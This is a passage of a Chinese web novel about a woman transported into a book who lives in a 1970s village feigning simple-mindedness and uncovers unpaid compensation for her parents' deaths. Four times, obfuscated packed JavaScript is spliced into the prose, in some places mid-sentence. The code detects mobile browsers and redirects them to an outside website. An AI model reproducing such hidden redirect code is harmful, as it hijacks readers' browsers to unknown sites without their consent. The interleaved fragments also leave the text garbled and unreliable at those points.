但随即燕素梅又想起自己的正事,“可是奶奶,我……” “可是啥可是?”老太太已经转过身去,从墙角拿起一个小竹筐,又从门后摸出两把小铲子,“走走走,趁天还没黑,挖一点回来。” 燕素梅看着老太太忙活的背影,到嘴边的话又给咽了回去。 算了,明天再去找妇女主任吧,今天先陪老太太挖野菜。 乡下挖野菜的地方多得很,田埂上、水渠边、荒坡上到处都是。老太太拿着小铲子走在前面,眼睛跟扫雷似的,在地上来回扫视。 “小梅,你看啊。”说着,老太太蹲下身,指着一株贴着地面长的植物给燕素梅看,“这就是荠菜。” 燕素梅赶紧凑过去,蹲在老太太旁边,认真地看着。 老太太把那株荠菜连根铲起,拎在手里给她讲解,“你看这个叶子,是这样边缘像锯子的边缘一样。颜色呢,是这种深绿色。而且你来闻闻……” 说着,老太太把荠菜凑到燕素梅鼻子跟前。 燕素梅吸了吸鼻子,一股特殊的清香味钻了进来,淡淡的,挺好闻的。 “记住了没?”老太太笑眯眯地问。 燕素梅用力点了点头,“记住了!” “那行。”老太太把荠菜放进自己筐里,又指了指前面那片荒地,“你就在这里挖,奶奶去那边看看,挖完你就在附近找找,但是记得别跑远啊。” 说完,老太太就拎着筐往远处走去。但说是远处,实际上也就在附近。现在田里的稻子还没长,老太太微微抬起身,就能看到还蹲在原地的燕素梅。 燕素梅低头看了看手里的铲子,又看了看她面前那个空荡荡的小筐,信心满满地开挖。 她盯着眼前一丛绿油油的植物,仔细回想着老太太刚才说的内容,略微有些迟疑地将眼前那株植物铲了起来,凑到鼻子跟前闻了闻。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376986|200122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>嗯,似乎是有股清香味,但是好像跟方才老太太给她闻的不太一样。 可能是这株不够大? 她又铲了一株,闻了闻。 还是没有香味。 她不信邪地再铲了一株。 还是没有。 燕素梅铲着铲着,手上动作慢了下来。 她看着眼前这一片绿油油的植物,又看了看自己筐里那几株“疑似荠菜”的草,陷入了沉思。 这些……到底是不是荠菜啊。 但是明明刚才老太太指认过,应该是这个没错吧? 可是为什么现在闻起来的味道,似乎跟方才的不太像? 燕素梅看了看旁边一株长得差不多的,又看了看远处另一株也差不多的,脑子里乱成一团浆糊。 到底这个是荠菜,还是那个是荠菜,还是说都是? 燕素梅虽然是一个农村娃,也经常回乡下,但她自从有记忆开始就跟父母在城里居住了。虽然说她也经常吃到奶奶包的荠菜饺子,但她吃的是已经处理好切进饺子馅里面的荠菜。这地里原生态版本,她是真分辨不出来。 她纠结了半晌,突然灵机一动。 管它到底是不是荠菜呢,全挖了再说! 等回家后,让老太太帮忙挑一下不就行了? 毕竟她现在可是个傻子啊,傻子分不清野草和杂草,这不是很正常的事吗? 燕素梅头一次如此庆幸原身的人设是个傻子。 想通了这一点,她再无顾虑,埋头苦干,挖得不亦乐乎。 什么绿的黄的、高的矮的、大的小的,但凡看着顺眼的,统统铲起来扔进筐里。 没过多久,燕素梅的小筐就满了大半。 而老太太也拎着满满一筐荠菜就回来了,她远远地就看见燕素梅蹲在那儿,埋着头,挥着铲子,干得热火朝天。 老太太脸上浮起欣慰的笑容。 这孩子,虽然脑子不太灵光,但干活还挺认真的。 她加快脚步走了过去,低头往燕素梅的筐里一看。 笑容瞬间凝固在脸上,她沉默了。 筐里确实有不少东西,绿油油的一筐,看着挺满当的。 可仔细一看,绝大多数都是各种各样的杂草,真正能吃的荠菜寥寥无几。 燕素梅似有心有灵犀般抬起头,见是老太太回来了,一脸期待地说:“奶奶,你看我挖了好多。” 老太太看了看筐,又看了看燕素梅那一脸“奶奶你快夸夸我”的表情,沉默了好一会。 最后,她什么都没说,只是笑着伸出手,摸了摸燕素梅的头。 “好好好。”老太太的声音里带着笑意,又带着点说不清道不明的情绪,“我们家小梅最能干了。走,回家,奶奶给你包饺子吃喽。” 燕素梅高兴地拎起筐,跟在老太太身后往回走。 夕阳西下,把她们的身影拉得很长。 燕素梅毕竟是个年轻人,不一会就走到了老太太身前。她满心欢喜地想着今晚上能吃到的荠菜饺子,压根没注意到身后老太太落在她身上的眼神。 那眼神里,有心疼,有怜爱,还有一丝复杂的情绪。 “这孩子,还跟小时候一样,分不清野草和杂草……看起来是我多想了,这孩子还是那个傻丫头。” 老太太突然轻声呢喃,声音很轻,很快就散在风里。 走在前头一心想着要吃饺子的燕素梅,自然也就没听到。 5. 第五章 晚饭的桌子摆在堂屋正中,一盏煤油灯则搁在桌子的正中间。煤油灯里面的火苗一跳一跳的,时不时发出滋滋声。 燕素梅面前放着一盘热气腾腾的荠菜饺子,她夹起一个轻轻咬一口,吃得满嘴鲜,都幸福地眯起了眼睛。 她吃得心满意足,压根没注意到老太太今天夹菜的动作比平时慢了些,似乎有什么心事。 “小梅啊。”老太太突然开口,却听不出什么情绪。 燕素梅嘴里塞满了饺子,只能含糊地应了一声:“嗯?” 老太太看着她,眼神依旧慈祥,只是语气中却带着点试探,“今天下午听老张说,你想去找胡主任?” 燕素梅吃饺子的动作顿了一下。 她将嘴里的饺子咽下,想了想,决定还是实话实说。 “奶奶,我是想去找妇女主任的,但是不知道是不是你说的胡主任。”她抬起头,说。 老太太愣住了,“找她干啥?” “我想……”燕素梅看了看老太太的脸色,斟酌着措辞,“我想找点活干。听村口那些阿姨们说,队里有糊纸盒的副业,一天能挣个几分钱,我想去试试。” 哪成想,燕素梅刚一说完,老太太的脸色就变了。 她把筷子往桌上一放,声音都高了几分,“你要去做糊纸盒的工作?” 燕素梅有些不解地点了点头,“嗯。” “不行。”老太太斩钉截铁地说,“更何况你怎么能干得下这个活?” 老太太反应极大,带着些许不容商量的语气,与往日慈祥和蔼的模样并不相同。 燕素梅见状赶忙解释,“奶奶,我能干的。我听那些阿姨们说了,那个活不难,就是把纸盒糊起来。我觉得我手脚挺灵活的,肯定没问题。” “没问题也不行。” 燕素梅虽然解释得很合理,但老太太的态度依旧很坚决。 “可是……” “可是啥可是?”老太太打断她的话,“不说文清了,家里不还有奶奶在,能饿着你不成?你呀就在家里好好待着,该吃吃该喝喝,别想那些有的没的。” 燕素梅张了张嘴,想反驳,但看着老太太那不容商量的表情,一时间竟不知道该怎么开口。 她总不能说自己是穿书过来的,所以知晓之后的剧情。也会知道三年后她会因为没钱治病而去世,所以现在想多存点钱。 但这个话让谁听都觉得是胡话吧,更何况她现在的人设又是个傻子。 燕素梅低着头看着碗里的饺子,方才还觉得鲜美无比的荠菜馅饺子,此刻吃起来却失了味道。 气氛一下子陷入了僵局。 老太太放下筷子似乎有些生气,而燕素梅则是十分机械地往自己嘴里塞饺子吃。 方才一直闷头吃饭的苏文青此时却突然抬起头,看了燕素梅一眼,又看向老太太。 “奶奶。”苏文青开口,声音依旧不是很大,但在这异常寂静的屋内却十分清晰。 见老太太看向他,苏文青放下筷子,垂着眼继续小声说:“就、就让小梅去试试吧。” 苏文青磕磕巴巴地说着,老太太眉头逐渐皱了起来。 可他就像是没看见似的,继续自顾自地往下说:“而、而且,小梅想干点、点活也是好事。并、并且,糊纸盒的活不、不累,在大队干也安全。要、要是担心路上,跟着我每天一、一起上下工就是了。” 虽然苏文青说话有些磕巴,但一字一句说得认真。 可老太太的脸色更难看了。 “文青,你这话什么意思?”她的声音冷了下来。“你是不是觉得我养不起小梅?” 听到老太太的话,苏文青也愣住了,连忙摇头,“不、不是的。奶奶,我、我不是那个意思。” “那你是什么意思?”老太太看着他,语气里带着几分罕见的尖锐,“小梅是我的亲孙女,我养她二十多年了,还差这几口饭?也用不着她出去干活!” 燕素梅见状,连忙出来打圆场,“奶奶,文青不是那个意思,他是想帮我争取去找点活干。” “需要你干什么活?”老太太转过头,看着她,眼眶有些泛红,“小梅,奶奶跟你说,咱家就算再穷也轮不到你出去挣钱。而且你要知道当初大队……” 话说一半,老太太只抹着泪,不说话了。 燕素梅一愣,听这个意思,老太太不仅是心疼她干活这么简单。 难道她们家与大队里的人还有什么过往?可她在小说中也没看到相关信息啊。 “奶奶,她们让我找的妇女主任不就是管妇女工作的吗?再说了我去领个活干,能发生什么事?” 燕素梅一脸疑惑地问,语气中却带着些许试探。 “你不懂。”老太太摆了摆手,语气缓和了些,但态度依旧很坚决,“反正这事不行,你就在家待着,缺什么跟奶奶说,奶奶给你买,听见没?” 燕素梅低下头,轻轻嗯了一声。 后面的话她没再听进去,只觉得碗里的饺子越来越难吃了。 吃完饭,燕素梅起身也想帮忙收拾碗筷,可老太太把她按回凳子上。 “坐着,让文青收。” 苏文青干活也很迅速,不一会就把碗筷收进了灶房。 燕素梅坐在那儿,看着他们的背影消失在灶房门口,心里说不出的憋闷。 不是。 她就是想出去挣个钱,怎么就这么难? 燕素梅越想越气,索性站起身,回了屋。 窗外月亮很亮,透过窗户照了进来,落在地上像是铺了一层霜。 她不知道自己坐在床边多久,但门突然被轻轻敲响。 “谁?”燕素梅下意识反问。 “是我。”苏文青的声音隔着门板传了进来,“小梅,你睡了吗?我可以进来跟你聊聊吗。” 理论上,燕素梅与苏文青应该是同一个房间的。 但是她才穿过来没几天,加上穿书前也是个母胎solo选手,确实没有与异性单独相处的经历,更何况是两个人在同一个房间的经历。 因此穿过来第一天,燕素梅就缠着老太太和苏文青,想要一个人一个房间睡。本来她以为还要磨上一段时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376987|200122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间,没想到那两个人都十分爽快地同意了。 因此虽然从目前状况上说,燕素梅与苏文青是已经结了婚的夫妻,但实际上她们两个却依旧是分房睡。 此刻,燕素梅虽然不知道苏文青为什么大半夜来找她,但她还是站起身,打开了门。 苏文青站在门口,月光照在身上,把他的轮廓勾勒得格外清晰。 只不过,明明之前苏文青总是垂着眼不敢看燕素梅,这次却能直视她的目光。 “我能进去说吗?” 燕素梅侧身让他进来,苏文青十分从容地走进卧室,拽了把椅子坐下。 “小梅。”苏文青小声说,“你还想去领糊纸盒的活吗?” 燕素梅看着他,认真地点了点头。 苏文青眯起眼睛,似乎是想从燕素梅身上看出来什么似的。 就在燕素梅被这带着些许打量意味的目光盯得有些不知所措时,他才堪堪收回目光。 “那你就去,奶奶那边我帮你打掩护。”苏文青说话声音很轻,但语气中带着些许不容置疑的肯定。 燕素梅愣住了。 “你帮我打掩护?”她有些不可置信地反问。 苏文青点了点头。 “嗯,明天吃了早饭后,我会跟奶奶说带你去地里玩。但是实际上我送你到大队后去上班,然后你再待到下午我下班来接你。” 燕素梅瞪大眼睛看着他,一时不知道说些什么。 苏文青被她看得似乎耳朵红了些,他继续说道:“你不是想挣钱吗?我支持你。” 燕素梅张了张嘴,半天才憋出一句话,“可是奶奶那边……” “我们先瞒着。”没等燕素梅说完,苏文青就打断了她的话,“今天是因为你偷偷去大队奶奶生气了,而且奶奶生气的主要原因是心疼你,但你真想去干,咱们就偷偷干。” 燕素梅看着他,忽然感觉心里某个地方被轻轻撞了一下。 这人平时说话都不利索,但这会为了她倒是一口气说了这么长一串。 不对。 好像从今晚上进房门后,苏文青说话就十分利索了。 她垂下眼眸想着。 苏文青见状,反问道:“怎么了?” “苏文青。你为什么帮我?”燕素梅将方才觉得有些不对劲的地方抛之脑后,问。 苏文青愣了一下,耳尖的红蔓延到脸颊。 他张了张嘴像是想说很多东西,但最后只是小声地说,“因为你是我的媳妇。” 说完他转身就往外走,到门口却又停住,背对着她说:“对了,明天我带你去大队,会帮你先打点好。你在里面记得不要乱跑,不要相信任何人说的话,除了胡主任说的。然后如果遇到……算了,把你交给胡主任就行,胡主任不会让你们见面的。” 说完,他拉开门快步离开。 燕素梅站在原地,看着那扇关上的门,忽然就笑了一下。 这个人,真是好玩。 不过,苏文青说的是不想让她遇上谁?她不记得书中有说原身与大队里的谁有过接触。 6. 第六章 第二天一早,燕素梅是被屋外动静吵醒的。 她睁开眼,窗外天色刚蒙蒙亮,屋内却已经飘进来饭菜香。 她翻了个身,想起昨晚苏文青说的话,心里莫名有些恍惚。 昨晚的苏文青,说话利索,眼神也不似平常那样躲闪。加上安排怎么给燕素梅打掩护,好让她顺利去大队找活干时,条理清晰得很。 跟燕素梅认知里那个被她多看两眼就脸红磕巴的苏文青,简直不像同一个人,倒有点像这本书的原男主。 说起来这本书不像燕素梅平时看的那些小说,全文都是跟随男主展开的。 奇怪,女频言情文也会有男主视角吗。 燕素梅边这么想着边起床洗漱,但直到洗漱完走到堂屋,也没想出个所以然来。 “媳、媳妇,早。” 苏文青一早就坐在桌边了,垂着头不知道在想什么。在听到脚步声后,他抬头看了一眼,立马对着燕素梅打招呼。 “早。”燕素梅略微点了点头,似是回复苏文青的话。 而苏文青却没等燕素梅回复,又飞快地垂下眼睛。 这让燕素梅不免有些尴尬。 但她发现,苏文青的耳朵在肉眼可见地变红。 燕素梅:“……” 行吧,昨晚上那个成熟稳重范的苏文青可能是她的错觉。 “起来了?”老太太端着粥从灶房出来,“快坐下吃。” 燕素梅应了一声,在桌边坐下。 吃饭吃到一半,苏文青突然放下碗,看向老太太。 “奶、奶奶。”他开口声音不大,还带着磕巴,“今、今天我想带小梅去地里玩玩。” 老太太没想到苏文青会突然说这个话,愣了一下,“去地里?” 苏文青点了点头,继续解释说:“嗯嗯,昨、昨天小梅不是自己觉得在家里有些闷,自己跑、跑出去了?我、我最近正好分到下、下地干活,正、正好可以带小梅过去玩。而且现在在地、地里,我稍微抬一下头、头,就能看到小梅、梅还在不在。” 老太太闻言,有些狐疑地看了看苏文青,又看了看燕素梅。 燕素梅见状,赶紧低头喝粥,装出一副乖巧模样。 沉默了几秒,老太太叹了口气。 “行吧行吧。” 但似乎她还是有些不放心,又叮嘱道:“小梅啊,你就跟着文青走,别乱跑。文青你下班就带着小梅回来,地里路不好走,看好小梅。” 苏文青点了点头,“知、知道了。” 吃完早饭,两个人就出了门。 走到院门口,燕素梅下意识回头往屋内看了一眼,发现老太太此时正站在堂屋门口看着他们。 她伸手对着老太太摆了摆手,而老太太也摆摆手作为回应,只是眼神里夹杂着些许担忧。 可燕素梅也没多想,转过身快步跟上苏文青。 两人一前一后走在村道上,谁也没说话。 苏文青突然放慢脚步,侧过头,声音压得很低,“前、前面就是大队部了,时候不早、早了,我就不送、送你进去。你自己进去,记、记得是找胡主任。” 燕素梅点了点头,抬脚就想走。 “我、我下工就来。”苏文青想了想,拽住燕素梅胳膊又叮嘱道,“你、你在里面别乱跑,别、别跟别人走。除了胡、胡主任,谁、谁的话都别信。” 这话明明昨晚苏文青已经说过一次,今天不知为何又强调了一遍。 燕素梅虽不知缘由,但还是十分乖巧地点了点头。 这段日子相处下来,她能确定老太太和苏文青是真心对原身好的人。 苏文青看了她一眼,似乎还想说什么,最后也只是抿了抿唇,转身往田埂那边走了。 燕素梅便也按照方才苏文青指的方向走进大楼。 她刚走进一楼走廊就被人叫住了。 “小姑娘,你找谁?” 燕素梅循声望去,只见一个中年妇女从走廊尽头走了过来,40来岁的样子,齐耳短发,穿着洗得发白的蓝布褂子,看着十分干净利落。 燕素梅赶紧对这中年妇女说:“你好,我来找胡主任的。” 那女人没回话,径直走到她跟前,嘴巴张了一下正准备开口,突然就愣住了。 那女人盯着燕素梅的脸,眼神变了又变,最后脱口而出。 “你是李瑛的丫头?” 李瑛? 这个名字燕素梅一点印象都没有。她歪着头,不明所以地看着那女人。 她刚想张口说不认识,但那女人自顾自开始呢喃。 “不对不对,按照李瑛家情况,估计这娃娃也不记得自家父母名字了。” 那女人抬起头,语气稍稍放软,带着些许哄小孩的语调说:“你应该是燕家丫头,燕素梅吧?” 燕素梅立马点了点头。 那女人看着她,目光复杂,过了好一会,才轻声说了一句。 “你跟你妈长得真像。” 燕素梅闻言,心里一动。 像她妈? 这么说,方才这女人口中的“李瑛”应该就是原身的母亲了。 而且听这个女人的语气,应该也认识原身的母亲,并且似乎有些熟悉。 燕素梅正想开口问些什么,但这女人却先开了口。 “我就是胡主任,你来找我是有啥事吗?” 燕素梅只好压下心里的疑惑,把自己的来意说了一下。 胡主任听完,沉默了一会。 “糊纸盒的活倒是有。只不过……你行吗?” 胡主任这话问得很委婉,但燕素梅听懂了。 她现在的人设是个傻子,虽说糊纸盒的活很简单,但是对于一个傻子来说就不一定了。 “我想试试,”燕素梅声音很小,但异常坚定地说,“我听人说,这活不难的,我可以慢慢学慢慢做,总不能一辈子靠我奶奶吧。” 胡主任看了她一会,最后点了点头。 “行,你跟我来。” 她带着燕素梅上了二楼,推开一间屋子。 屋子不大,只摆着两张长桌,坐着七八个妇女,已经开始埋头糊着纸盒。 见胡主任进来,她们纷纷抬起头打了声招呼,但目光却落在燕素梅身上。 这目光并没有夹杂恶意,而是带着好奇和些许打量。 胡主任没有多言,径直带着燕素梅到角落一个空板凳面前。 她示意燕素梅坐下后,又从身后柜子里拿出一摞裁好的纸板。 “你先糊外盒吧,这个最简单。只要这样把这片纸板按照折痕折好,边角抹上浆糊,粘起来就行。” 胡主任示范了一遍,虽说动作很快,但燕素梅学会了。 燕素梅想,看来当初村口大妈没骗她,这个活计确实简单。 “会了吗?”胡主任歪着头看向她。 燕素梅点了点头。 胡主任看了她一眼,似乎还是不太放心。 “小张,你过来。”她对着一个扎麻花辫,看起来年纪不是很大的人说。 这小张听胡主任喊她,立马起身过来。 “你就坐这个小姑娘旁边,她要是有什么不会的,你帮帮她。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376988|200122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 小张有些不明所以,但还是点了点头。 这时,一开始坐小张身旁的短发阿姨开了口,“胡主任,这是燕家那丫头吧?” “嗯。”胡主任略微点了点头,“燕家这丫头什么情况你们也都知道,能帮衬就帮衬下。” “哎呦,胡主任您说的这是什么话。我们村就是个大家庭,这燕家丫头也自然是我们大家的女儿啦。”那短发阿姨笑眯眯地接过胡主任的话。 胡主任似乎有什么急事,并没有多言,转身就走了。 被胡主任喊过来坐在燕素梅身边的小姑娘明显是个自来熟,她见胡主任走后,立马对着燕素梅自我介绍。 “你好,我叫张翠翠,你叫我小张或者翠翠都行。” “翠、翠翠姐。”燕素梅轻轻喊了一声,“我叫燕素梅。” “燕素梅?这名字好听……哎呦!” 张翠翠正跟燕素梅说着话,突然被旁边的人拽了一下。 那人拉着张翠翠嘀嘀咕咕说着什么,中途还用手指了指自己的脑袋。 燕素梅就算猜不到她们在聊什么,看那动作也明白了七八分。她垂下眼,看向面前那摞纸板,轻轻叹了口气。 倒不是这糊纸盒的活有多难,而是她方才留意到门口贴的那张纸。 那张纸上公示的是屋子里这些人糊纸盒的工分,以及折算成的现金。 燕素梅记得,干得最快的就是胡主任安排过来教她的张翠翠,但她一个月也就8块钱。 一个月8块钱,一年就是96块钱,三年也就288块钱。 看起来不太够一场大病的花销。 燕素梅脑袋里想着事,但手上动作却没停。村口那群大妈没骗她,这个糊纸盒的工作很简单,她三下五除二就做了一个像模像样的纸盒。 正当她准备拿下一个时,突然察觉到几道打量的目光。 不用猜,肯定是屋内其他糊纸盒的工人。 燕素梅突然想起原身人设是个傻子,又想到早上苏文青的叮嘱。 这大队里怕是有她不知道的事。 她垂下眼,装作若无其事地做第二个。但这次她故意放慢动作,糊得也歪歪扭扭的。 旁边几个人看燕素梅看了半天,见她确实傻乎乎的,动作又慢又慢,渐渐都放松下来。 “哎,你们听说了吗?”那个短头发大妈压低声音开了个头。 “听说啥?”坐在燕素梅对面的大妈紧接着附和。 短头发大妈似乎想吊个胃口,故意没接着说。等她不紧不慢地糊完纸盒后,才开口,“听说啊,老李家那个媳妇又跑回老家了。” “又跑了?这都第几回了?”张翠翠一听,有些不解地问。 “据说还是第三回了。”短头发大妈表情十分夸张地说,“这回听说是因为她男人打了她。” “打女人?那可不行……” 几个大妈叽叽喳喳聊了起来,从老李家儿媳妇聊到张家闺女相亲,从张家闺女相亲聊到王家婆婆刻薄。 燕素梅低着头,慢吞吞地糊着纸盒,耳朵却竖得直直的。 开玩笑,谁不喜欢工作时候来个八卦听听呢? 可大妈们聊着聊着,话题却突然转了个弯。 “说起来李瑛的娃都这么大了啊。” 燕素梅眼眸微抬,这个名字她刚刚从胡主任口中也听到过。 如果没猜错的话,应该就是原身的母亲。 张翠翠没反应过来,“哪个李瑛?” “还能是哪个李瑛,就当年哪个去……” 话说到一半,那人突然住了口。 7. 第七章 “你讲就是了,怕啥?那丫头不是脑子不好使吗?估计都听不懂我们在讲幌子。” 挑起话题的大妈看了燕素梅一眼,似乎在犹豫要不要继续说。 燕素梅见状,装作盯着纸盒发呆,嘴角还挂着点傻乎乎的笑。 “还能有哪个李瑛?”挑起话题的大妈压低声音,“就当年那个……跟老燕一起出事那个。” “哦!你说的是她啊!”坐在那人身旁的短发大妈恍然大悟,“良子奶奶,你别说,这确实跟李瑛一个模子刻出来的。” 被称呼为良子奶奶的大妈刚想附和,见张翠翠还是一脸疑惑的模样,便又开口解释,“小翠啊,你年纪跟燕家丫头差不多,难怪不知道。李瑛她们原本都是这里的人……” 良子奶奶说着,朝天花板指了指。张翠翠虽然在这里面年纪小,但也是个人精,立马就懂她的意思。 可很快,张翠翠又发现不对劲的地方。“可我刚刚听小梅妹妹说她只有个奶奶……” “那两口子也是可怜哦。”短头发大妈打断她的话,略带惋惜地说,“当初他们多能干啊,说没就没了。” “可不是嘛。”坐在角落的一个大妈接话,“当年李瑛可是咱们大队顶顶好的妇女干部,她老头子也是个能干的。结果呢,人因公没了,只剩下个丫头跟个老太太……” “说到这,我记得这丫头小时候可机灵了……” 角落大妈像是想起什么,语气有些激动地说:“噫,你败讲。她小时候天天不是爬树掏鸟蛋就是下溪逮小鱼。哎呦,说这个我想起来,我家那有扇窗户就是这燕家丫头当年丢沙包玩丢破的,真十怂。” 那大妈说着,目光却落在燕素梅身上,其他人也齐刷刷望过去。 燕素梅假装没察觉,歪着头盯着手里的纸盒,嘴里还嘟囔了一句:“这、这怎么都粘不住啊。” 说着,她又往纸盒边上抹了一坨浆糊,糊得到处都是。 几个大妈见状,相互交换了一个眼神,便又收回目光。 “可怜归可怜。”那个角落大妈压低声音,“可这丫头咋就跑出来干活了?按理说……” “按理说她爸妈那笔抚恤金就够她家花好多年是吧?”那人话没说完,就被良子奶奶打断了,只见她一脸不屑地说:“你们怕是不晓得哦,那笔钱压根就没发到燕家人头上!” 空气突然安静下来,燕素梅也瞪大了双眼。但好在她此刻正低着头装作摆弄浆糊,因此屋里其他人也没发现她的异常之处。 过了许久,张翠翠才喃喃说出一句话,打破了房间内的寂静。 “那不是滴吧?” 良子奶奶见有人反驳,有些生气地说:“啧,我骗你搞幌子?当然,我也是听我家丫头讲滴。” “你丫头讲滴哪怕是真滴哦,你丫头不是……”坐在角落的大妈闻言,有些不可置信地说。 但她没说完,就被短头发大妈打断了。 “嘘,小点声。”短头发大妈做了个噤声的手势,眼神则往燕素梅身上飘。 “怕啥?”坐在角落的大妈有些不以为然,“这里都是自家人,那丫头她又听不懂,没得事。” 短头发大妈还是有些不放心,又往燕素梅这边看了一眼。见她正对着纸盒发呆,手里的纸盒拿反了都不知道,这才松了口气。 “那这么说,还真不是她大伯狠心了。”短头发大妈压低声音,几乎是用气声在说。 “什么意思?”张翠翠眨巴着眼睛,问道。 “哎呀,大队一般不都是发在当家的手上嘛,我寻思着燕家这边就发给她大伯了。”短头发大妈似乎有些不好意思地挠了挠头,“之前不是都说燕家丫头因为小时候发了个高烧但是没去看,给烧坏脑子的嘛。我一直以为是她大伯卡着钱不给她看,现在想想怕是当初就没钱看哦。” “哎呦,你不说我还真忘记这茬事了。”坐在角落的大妈略带心疼地摇了摇头,说,“这丫头惨哦,回头奶奶要是也走了怕是就日子不好过喽。” “不是还有苏知青吗?”张翠翠抬起头,依旧不解地问。 “我看你跟燕家丫头一样傻。”短发大妈用手戳了戳张翠翠的脑袋瓜,说,“那苏知青都是从城里过来的读书人,真能跟燕家丫头在乡下过一辈子?” 燕素梅低着头,手里的纸盒半天没动。 父母因公殉职。 有抚恤金却没发下来。 甚至原主脑子不好都是因为没有这笔钱没能及时就医,烧坏的。 难怪昨晚老太太听到她说要去大队,反应那么大。难怪苏文青也让她别乱跑,就跟着胡主任。 原来根在这儿。 “行了行了,都别说了。”良子奶奶摆了摆手,语气里带着点后悔,“这些话传出去不好。” “传出去怕啥?他们要是真给燕家发了,身正不怕影子斜……”短头发大妈有些不服气地说。 “都说了别说了!”良子奶奶提高了点声音,又赶紧压低,“有些事我们管都管不了,怕是县里头来人才行。” 燕素梅闻言,微微抬头,眸子直直撞进良子奶奶眼底。 她眨了眨眼,强装镇定,伸手抹了点浆糊涂在纸盒上,装作一副听不懂的模样。 张翠翠最先反应过来,打了个哈哈,“哎,别说这些了。哦对,你们听说没,隔壁村老王……” 桌上的话题又被拐到别处。 燕素梅没再听进去,只是机械地糊着纸盒,心里翻来覆去想着刚才良子奶奶的话。 【怕是县里头来人才行】 她总感觉这句话是良子奶奶故意说给她听的。 是故意试探?还是良心发现好意提醒? 她皱着眉,分辨不出来。 她想起老太太那张布满皱纹的脸,想起老太太说“家里还有奶奶在”时那副硬气的样子。 那老太太,一个人扛了这么多年。 那她,是不是也可以帮忙做些什么。 下午收工的时候,燕素梅把自己的纸盒交了上去。 纸盒歪歪扭扭的,浆糊抹得到处都是。胡主任沉默了好一会儿。 但最后她也什么都没说,依旧在账本上记了一笔。 “明天还来吗?”胡主任问。 燕素梅点了点头。 胡主任看了她一眼,似乎想说什么,但最终只是叹了口气,“行,那明天早点来。这活计,你糊得越多,工钱越多。” 燕素梅乖巧地应了一声,心想,难怪苏文青让她只信胡主任。看起来,这个人可能是大队部里为数不多真心对原主好的人了。 她从大队部出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376989|200122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时候,天已经快黑了。 燕素梅站在门口张望了一下,没见到苏文青。正想着要不要先往回走时,田埂那头出现了一个身影。 高高瘦瘦的,走得有点急。 是苏文青,他额头上有薄薄的汗,胸口微微起伏着,像是跑过来那般。 “等、等久了吧?”他问。 燕素梅摇了摇头:“刚出来。” 苏文青轻轻“嗯”了一声,转身往回走,燕素梅见状快步跟上。 两人一前一后走在村道上,谁都没说话。 天色越来越暗,远处的炊烟升起来,空气中弥漫着一股柴火味,让人有些安心。 路过昨天老太太带燕素梅挖野菜的地方时,她下意识往那边看了一眼。 暮色里,那片燕素梅十分眼熟的低矮灌木丛还静静地立在那儿。 她昨天就觉得像,今天再看,越看越觉得像。 茶树。 燕素梅脚步慢了下来。 她老家也是个茶乡,每年新茶出芽时候,奶奶总会拽着她一起去采茶。可别小瞧了这个,能挣不少钱,就是不知道这里可有收茶叶的人。 “怎、怎么了?”苏文青见她停下来,顺视线望去,“这是、是茶树,就是来、来客人后,奶奶叫你拿着泡水给客人喝的。” 燕素梅见苏文青也认识,嗫喏着想开口问这里有没有收茶地方,可碍于原主人设,一时间竟不知该如何开口。 “小梅可、可是想采茶玩?”苏文青眨巴着眼,问,“现、现在还没到时候,等到时候了我让奶奶带你去。” “好。”燕素梅轻声应下。 两人继续往前走,没走几步,燕素梅又开了口。 “文青。” 苏文青脚步一顿,回过头。 燕素梅看着他,决定把今天听到的话也跟他说。 “今天糊纸盒,我听那些人聊天。”燕素梅压低声音,不急不缓地说,“她们说我爸妈是因公殉职的,本来应该有一笔抚恤金的,但是没发到我们家。她们还说,要想找到管这个事的,得找县里面的人。” 苏文青愣住了。 暮色里,燕素梅看不清他的表情,只觉得他整个人僵了一下。 过了好几秒,他才开口:“你……听谁说的?” 他说话还是有些磕巴,但语气似乎不太一样了。 